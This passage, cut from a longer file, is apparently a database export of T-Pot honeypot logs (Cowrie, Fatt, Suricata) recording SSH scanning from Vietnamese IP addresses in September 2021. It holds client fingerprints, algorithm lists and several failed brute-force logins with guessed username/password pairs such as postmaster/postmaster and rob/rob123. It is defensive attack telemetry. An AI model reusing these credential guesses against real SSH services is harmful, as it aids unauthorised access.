"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23655	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:42.729277+03	2021-09-20 14:15:07.78447+03	{"_id": "cAbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44924, "dest_port": 22, "timestamp": "2021-09-20T11:07:42.729277", "@timestamp": "2021-09-20T11:07:42.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23656	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:42.442663+03	2021-09-20 14:15:07.786471+03	{"_id": "cQbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [postmaster/postmaster] failed", "session": "431b0eae0d8c", "@version": "1", "password": "postmaster", "username": "postmaster", "timestamp": "2021-09-20T11:07:42.442663Z", "@timestamp": "2021-09-20T11:07:42.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23657	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:42.446239+03	2021-09-20 14:15:07.787471+03	{"_id": "cgbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8a79bc29cd27", "@version": "1", "timestamp": "2021-09-20T11:07:42.446239Z", "@timestamp": "2021-09-20T11:07:42.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23658	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:42.458076+03	2021-09-20 14:15:07.78847+03	{"_id": "cwbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5b1f43bb249e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:42.458076Z", "@timestamp": "2021-09-20T11:07:42.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23660	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:42.729882+03	2021-09-20 14:15:07.79047+03	{"_id": "dQbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5b1f43bb249e", "@version": "1", "timestamp": "2021-09-20T11:07:42.729882Z", "@timestamp": "2021-09-20T11:07:42.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23661	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:42.868143+03	2021-09-20 14:15:07.792471+03	{"_id": "dgbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [cf1c22/cf1c22] failed", "session": "4aea487b336f", "@version": "1", "password": "cf1c22", "username": "cf1c22", "timestamp": "2021-09-20T11:07:42.868143Z", "@timestamp": "2021-09-20T11:07:42.868Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23662	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:42.941903+03	2021-09-20 14:15:07.79347+03	{"_id": "dwbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [pc/pc] failed", "session": "9a3eb004ca57", "@version": "1", "password": "pc", "username": "pc", "timestamp": "2021-09-20T11:07:42.941903Z", "@timestamp": "2021-09-20T11:07:42.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23663	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:43.097992+03	2021-09-20 14:15:07.795471+03	{"_id": "eAbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [rob/rob123] failed", "session": "d6ad7ec06fcd", "@version": "1", "password": "rob123", "username": "rob", "timestamp": "2021-09-20T11:07:43.097992Z", "@timestamp": "2021-09-20T11:07:43.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23664	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:43.129259+03	2021-09-20 14:15:07.79647+03	{"_id": "eQbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "8b38f6e5b96d", "@version": "1", "duration": 3.5055980682373047, "timestamp": "2021-09-20T11:07:43.129259Z", "@timestamp": "2021-09-20T11:07:43.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23665	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:43.222979+03	2021-09-20 14:15:07.79747+03	{"_id": "egbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ea26a28b5892", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:43.222979Z", "@timestamp": "2021-09-20T11:07:43.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23666	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:43.499133+03	2021-09-20 14:15:07.79847+03	{"_id": "ewbjAnwBvYTbRNuE7A5A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 707715777062109, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37702, "dest_port": 22, "timestamp": "2021-09-20T11:07:43.499133Z", "@timestamp": "2021-09-20T11:07:43.499Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23667	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:43.225108+03	2021-09-20 14:15:07.79947+03	{"_id": "fQbjAnwBvYTbRNuE7Q6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37702, "timestamp": "2021-09-20T11:07:43.225108", "@timestamp": "2021-09-20T11:07:43.225Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23668	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:43.743281+03	2021-09-20 14:15:07.801471+03	{"_id": "fwbjAnwBvYTbRNuE7Q6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:34906 (192.168.176.2:22) [session: bc8abe3e5bc5]", "session": "bc8abe3e5bc5", "@version": "1", "protocol": "ssh", "src_port": 34906, "dest_port": 22, "timestamp": "2021-09-20T11:07:43.743281Z", "@timestamp": "2021-09-20T11:07:43.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23669	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:43.545366+03	2021-09-20 14:15:07.802471+03	{"_id": "gAbjAnwBvYTbRNuE7Q6C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 